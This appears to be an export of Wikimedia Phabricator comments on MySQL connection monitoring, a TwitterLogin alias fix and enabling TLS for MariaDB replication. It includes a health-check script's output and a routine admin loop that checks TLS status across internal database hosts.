+564166,Better mysql monitoring for number of connections and processlist strange patterns,"Aaron is using mediawiki itself to query pt-heartbeat. With that in mind I wonder if exposing a port is still interesting for external services or I should just implement a check directly on nagios. 
+
+I would do the second for now.",,,1447771628,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+530133,Better mysql monitoring for number of connections and processlist strange patterns,"I am afraid not, a simplistic, but accurate way of describing the linux load parameters is ""the size of the CPU queue"". MySQL will very rarely be blocked by CPU, it will be either suffering from internal contention or waiting on IO. The number of current_connections could be a better measure of that queue. Maybe I can add more information, like active vs. waiting processes (usually, mysql will be executing 32 or less at the same time, and will make the others wait).
+
+You maybe make the most difficult question of all in the database world: How to measure how busy is MySQL? Not a definitive answer. Probably it should be a combination of lag (already produced as the difference between ""current_time"" and ""last_master_update"", with a 0.25s error), mysql process queing (current_connections, maybe some extra information) and latency of the HTTP request itself (which would measure mysql query time and network congestion). That would be a metric for ""data staleness"", throughput issues and latency issues.
+
+If we go to one of our busiest servers (db1072) -although it is not at peak time right now- I get this:
+
+
+```
+$ time bash mysqlcheck.sh
+HTTP/1.1 200 OK
+Content-Type: application/json
+Connection: close
+Content-Lenght: 184
+
+{ ""server_available"": ""yes"", ""current_time"": ""2015-09-18 08:09:45.047804"", ""last_master_update"": ""2015-09-18 08:09:45.000680"", ""max_connections"": ""5000"", ""current_connections"": ""161"" }
+real	0m0.014s
+user	0m0.010s
+sys	0m0.001s
+
+```
+
+So, 0.014 -> very short latency, good (obviously real HTTP latency should be measured, and would be larger than that), lag: 0.047124s(-0.25 error)s: almost no lag, good, current_connections: 161 (there is some queuing, >32, but that is normal for such a busy server; it is far from the 5000 connection limit). To detect a large burst of connections, we need to make sure that current_connections is not at 75%, 90%? of max_connections. Tuning those is something that should be tested under realistic stress conditions.",,,1442564729,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+530132,Better mysql monitoring for number of connections and processlist strange patterns,"I am afraid not, a simplistic, but accurate way of describing the linux load parameters is ""the size of the CPU queue"". MySQL will very rarely be blocked by CPU, it will be either suffering from internal contention or waiting on IO. The number of current_connections could be a better measure of that queue. Maybe I can add more information, like active vs. waiting processes (usually, mysql will be executing 32 or less at the same time, and will make the others wait).
+
+You maybe make the most difficult question of all in the database world: How to measure how busy is MySQL? Not a definitive answer. Probably it should be a combination of lag (already produced as the difference between ""current_time"" and ""last_master_update"", with a 0.25s error), mysql process queing (current_connections, maybe some extra information) and latency of the HTTP request itself (which would measure mysql query time and network congestion).
+
+If we go to one of our busiest servers (db1072) -although it is not at peak time right now- I get this:
+
+
+```
+$ time bash mysqlcheck.sh
+HTTP/1.1 200 OK
+Content-Type: application/json
+Connection: close
+Content-Lenght: 184
+
+{ ""server_available"": ""yes"", ""current_time"": ""2015-09-18 08:09:45.047804"", ""last_master_update"": ""2015-09-18 08:09:45.000680"", ""max_connections"": ""5000"", ""current_connections"": ""161"" }
+real	0m0.014s
+user	0m0.010s
+sys	0m0.001s
+
+```
+
+So, 0.014 -> very short latency, good (obviously real HTTP latency should be measured, and would be larger than that), lag: 0.047124s(-0.25 error)s: almost no lag, good, current_connections: 161 (there is some queuing, >32, but that is normal for such a busy server; it is far from the 5000 connection limit). To detect a large burst of connections, we need to make sure that current_connections is not at 75%, 90%? of max_connections. Tuning those is something that should be tested under realistic stress conditions.",,,1442564542,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+529848,Better mysql monitoring for number of connections and processlist strange patterns,"@jcrespo, it seems like adding /proc/loadavg would be a useful metric to adjust on. But it might be a naive assumption that load is a good proxy for mysql's capacity to do work?",,,1442525638,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+529736,Better mysql monitoring for number of connections and processlist strange patterns,"This is what I have now:
+
+```
+$ time bash mysqlcheck.sh 
+HTTP/1.1 200 OK
+Content-Type: application/json
+Connection: close
+Content-Lenght: 182
+
+{ ""server_available"": ""yes"", ""current_time"": ""2015-09-17 19:41:19.066394"", ""last_master_update"": ""2015-09-17 14:11:24.000650"", ""max_connections"": ""5000"", ""current_connections"": ""6"" }
+real	0m0.010s
+user	0m0.006s
+sys	0m0.002s
+$ vim mysqlcheck.sh # to make mysql fail
+$ time bash mysqlcheck.sh 
+HTTP/1.1 503 Service Unavailable
+Content-Type: application/json
+Connection: close
+Content-Lenght: 26
+
+{""server_available"": ""no""}
+real	0m0.009s
+user	0m0.000s
+sys	0m0.008s
+```
+
+(BTW, this server is running, but depooled and with its replication thread stopped).",,,1442519332,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+529731,Better mysql monitoring for number of connections and processlist strange patterns,"This is what I have now:
+
+```
+$ time bash mysqlcheck.sh 
+HTTP/1.1 200 OK
+Content-Type: application/json
+Connection: close
+Content-Lenght: 182
+
+{ ""server_available"": ""yes"", ""current_time"": ""2015-09-17 19:41:19.066394"", ""last_master_update"": ""2015-09-17 14:11:24.000650"", ""max_connections"": ""5000"", ""current_connections"": ""6"" }
+real	0m0.010s
+user	0m0.006s
+sys	0m0.002s
+$ vim mysqlcheck.sh # to make mysql fail
+$ time bash mysqlcheck.sh 
+HTTP/1.1 503 Service Unavailable
+Content-Type: application/json
+Connection: close
+Content-Lenght: 26
+
+{""server_available"": ""no""}
+real	0m0.009s
+user	0m0.000s
+sys	0m0.008s
+```
+",,,1442519031,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+526238,Better mysql monitoring for number of connections and processlist strange patterns,"In particular, not only should we monitor the current connections, but the peak since the last check, as otherwise it may be undetected for short bursts. Related: T109279",,,1442168480,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+112436,[TwitterLogin] PHP Notice: Did not find alias for special page 'TwitterLogin'. Perhaps no aliases are defined for it?,,Medium,50.0,1442130864,1443112395.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-3gn6zg24xw5de3ptutz7,task_description,resolved,True,c3,3,True,True,True,10,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+534372,[TwitterLogin] PHP Notice: Did not find alias for special page 'TwitterLogin'. Perhaps no aliases are defined for it?,"Change 239154 merged by jenkins-bot:
+Fix alias not working
+
+[[https://gerrit.wikimedia.org/r/239154]]",,,1443112192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3gn6zg24xw5de3ptutz7,task_subcomment,,True,c3,3,False,,,12,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+529615,[TwitterLogin] PHP Notice: Did not find alias for special page 'TwitterLogin'. Perhaps no aliases are defined for it?,"Change 239154 had a related patch set uploaded (by Paladox):
+Fix alias not working
+
+[[https://gerrit.wikimedia.org/r/239154]]
+",,,1442513241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3gn6zg24xw5de3ptutz7,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+111654,Set up TLS for MariaDB replication,"MariaDB replication flows are currently not encrypted. They should be, as sometimes they cross datacenter boundaries. I think [[ https://dev.mysql.com/doc/refman/5.1/en/replication-solutions-ssl.html | TLS is supported by MySQL/MariaDB ]] and it would probably be the easiest way forward for this.",Medium,50.0,1441573360,1486660128.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-gzd4fguky5ixnvz46fvu,False,PHID-TASK-wngmzob45sfg4y3xmkhq,task_description,resolved,True,c3,3,True,False,False,9,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1
+806697,Set up TLS for MariaDB replication,"I have restarted all replication channels of dbstore1002/2001/2002 and db1047.
+
+I consider this task resolved, with some follow-ups, less critical that I will handle on a separate ticket, with a different priority.",,,1486660128,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,84,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+806632,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVojoCv3lCyyDMEPvJwh} [2017-02-09T16:06:23Z] <jynus> rolling restart of replication threads for dbstore1002/2001/2002 T111654",,,1486656384,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+806591,Set up TLS for MariaDB replication,"All core servers/server with core data now support TLS connections and use it for replication (except labs- the new server suport it, but are not accesible remotely for security, and the old ones, to be decommissioned, do not support it ):
+
+```
+$ cat [sx]*.hosts | while read host port; do echo -n ""$host $port: ""; /usr/local/bin/mysql -BN -h $host -P $port $db -e ""SELECT 1""; done
+db2034.codfw.wmnet 3306: 1
+db2042.codfw.wmnet 3306: 1
+db2048.codfw.wmnet 3306: 1
+db2055.codfw.wmnet 3306: 1
+db2062.codfw.wmnet 3306: 1
+db2069.codfw.wmnet 3306: 1
+db2070.codfw.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+db2016.codfw.wmnet 3306: 1
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3311: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: 1
+dbstore1002.eqiad.wmnet 3306: 1
+db1080.eqiad.wmnet 3306: 1
+db1083.eqiad.wmnet 3306: 1
+db1089.eqiad.wmnet 3306: 1
+db1073.eqiad.wmnet 3306: 1
+db1072.eqiad.wmnet 3306: 1
+db1066.eqiad.wmnet 3306: 1
+db1065.eqiad.wmnet 3306: 1
+db1055.eqiad.wmnet 3306: 1
+db1051.eqiad.wmnet 3306: 1
+db1047.eqiad.wmnet 3306: 1
+db1057.eqiad.wmnet 3306: 1
+db1052.eqiad.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+db2035.codfw.wmnet 3306: 1
+db2041.codfw.wmnet 3306: 1
+db2049.codfw.wmnet 3306: 1
+db2056.codfw.wmnet 3306: 1
+db2063.codfw.wmnet 3306: 1
+db2064.codfw.wmnet 3306: 1
+db2017.codfw.wmnet 3306: 1
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3312: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1002.eqiad.wmnet 3306: 1
+dbstore1001.eqiad.wmnet 3306: 1
+db1021.eqiad.wmnet 3306: 1
+db1024.eqiad.wmnet 3306: 1
+db1036.eqiad.wmnet 3306: 1
+db1047.eqiad.wmnet 3306: 1
+db1054.eqiad.wmnet 3306: 1
+db1060.eqiad.wmnet 3306: 1
+db1063.eqiad.wmnet 3306: 1
+db1067.eqiad.wmnet 3306: 1
+db1074.eqiad.wmnet 3306: 1
+db1076.eqiad.wmnet 3306: 1
+db1090.eqiad.wmnet 3306: 1
+db1018.eqiad.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+db2036.codfw.wmnet 3306: 1
+db2043.codfw.wmnet 3306: 1
+db2050.codfw.wmnet 3306: 1
+db2057.codfw.wmnet 3306: 1
+db2018.codfw.wmnet 3306: 1
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3313: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: 1
+dbstore1002.eqiad.wmnet 3306: 1
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1015.eqiad.wmnet 3306: 1
+db1035.eqiad.wmnet 3306: 1
+db1038.eqiad.wmnet 3306: 1
+db1044.eqiad.wmnet 3306: 1
+db1077.eqiad.wmnet 3306: 1
+db1078.eqiad.wmnet 3306: 1
+db1075.eqiad.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+db2065.codfw.wmnet 3306: 1
+db2058.codfw.wmnet 3306: 1
+db2051.codfw.wmnet 3306: 1
+db2044.codfw.wmnet 3306: 1
+db2037.codfw.wmnet 3306: 1
+db2019.codfw.wmnet 3306: 1
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3314: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: 1
+dbstore1002.eqiad.wmnet 3306: 1
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1053.eqiad.wmnet 3306: 1
+db1056.eqiad.wmnet 3306: 1
+db1059.eqiad.wmnet 3306: 1
+db1064.eqiad.wmnet 3306: 1
+db1068.eqiad.wmnet 3306: 1
+db1081.eqiad.wmnet 3306: 1
+db1084.eqiad.wmnet 3306: 1
+db1091.eqiad.wmnet 3306: 1
+db1040.eqiad.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+db2038.codfw.wmnet 3306: 1
+db2045.codfw.wmnet 3306: 1
+db2052.codfw.wmnet 3306: 1
+db2059.codfw.wmnet 3306: 1
+db2066.codfw.wmnet 3306: 1
+db2023.codfw.wmnet 3306: 1
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3315: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: 1
+dbstore1002.eqiad.wmnet 3306: 1
+db1026.eqiad.wmnet 3306: 1
+db1045.eqiad.wmnet 3306: 1
+db1070.eqiad.wmnet 3306: 1
+db1071.eqiad.wmnet 3306: 1
+db1082.eqiad.wmnet 3306: 1
+db1087.eqiad.wmnet 3306: 1
+db1092.eqiad.wmnet 3306: 1
+db1049.eqiad.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+db2039.codfw.wmnet 3306: 1
+db2046.codfw.wmnet 3306: 1
+db2053.codfw.wmnet 3306: 1
+db2060.codfw.wmnet 3306: 1
+db2067.codfw.wmnet 3306: 1
+db2028.codfw.wmnet 3306: 1
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3316: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: 1
+dbstore1002.eqiad.wmnet 3306: 1
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1022.eqiad.wmnet 3306: 1
+db1023.eqiad.wmnet 3306: 1
+db1030.eqiad.wmnet 3306: 1
+db1037.eqiad.wmnet 3306: 1
+db1061.eqiad.wmnet 3306: 1
+db1085.eqiad.wmnet 3306: 1
+db1088.eqiad.wmnet 3306: 1
+db1093.eqiad.wmnet 3306: 1
+db1050.eqiad.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+db2040.codfw.wmnet 3306: 1
+db2047.codfw.wmnet 3306: 1
+db2054.codfw.wmnet 3306: 1
+db2061.codfw.wmnet 3306: 1
+db2068.codfw.wmnet 3306: 1
+db2029.codfw.wmnet 3306: 1
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3317: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: 1
+dbstore1002.eqiad.wmnet 3306: 1
+db1028.eqiad.wmnet 3306: 1
+db1033.eqiad.wmnet 3306: 1
+db1034.eqiad.wmnet 3306: 1
+db1039.eqiad.wmnet 3306: 1
+db1062.eqiad.wmnet 3306: 1
+db1079.eqiad.wmnet 3306: 1
+db1086.eqiad.wmnet 3306: 1
+db1094.eqiad.wmnet 3306: 1
+db1041.eqiad.wmnet 3306: 1
+dbstore2001.codfw.wmnet 3306: 1
+dbstore2002.codfw.wmnet 3306: 1
+db2033.codfw.wmnet 3306: 1
+dbstore1001.eqiad.wmnet 3306: 1
+dbstore1002.eqiad.wmnet 3306: 1
+db1029.eqiad.wmnet 3306: 1
+db1031.eqiad.wmnet 3306: 1
+root@neodymium:~/software/dbtools$ cat [sx]*.hosts | while read host port; do echo -n ""$host $port: ""; /usr/local/bin/mysql -BN -h $host -P $port $db -e ""SHOW STATUS like 'Ssl_cipher'""; done
+db2034.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2042.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2048.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2055.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2062.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2069.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2070.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2016.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3311: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1080.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1083.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1089.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1073.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1072.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1066.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1065.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1055.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1051.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1047.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1057.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1052.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2035.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2041.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2049.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2056.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2063.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
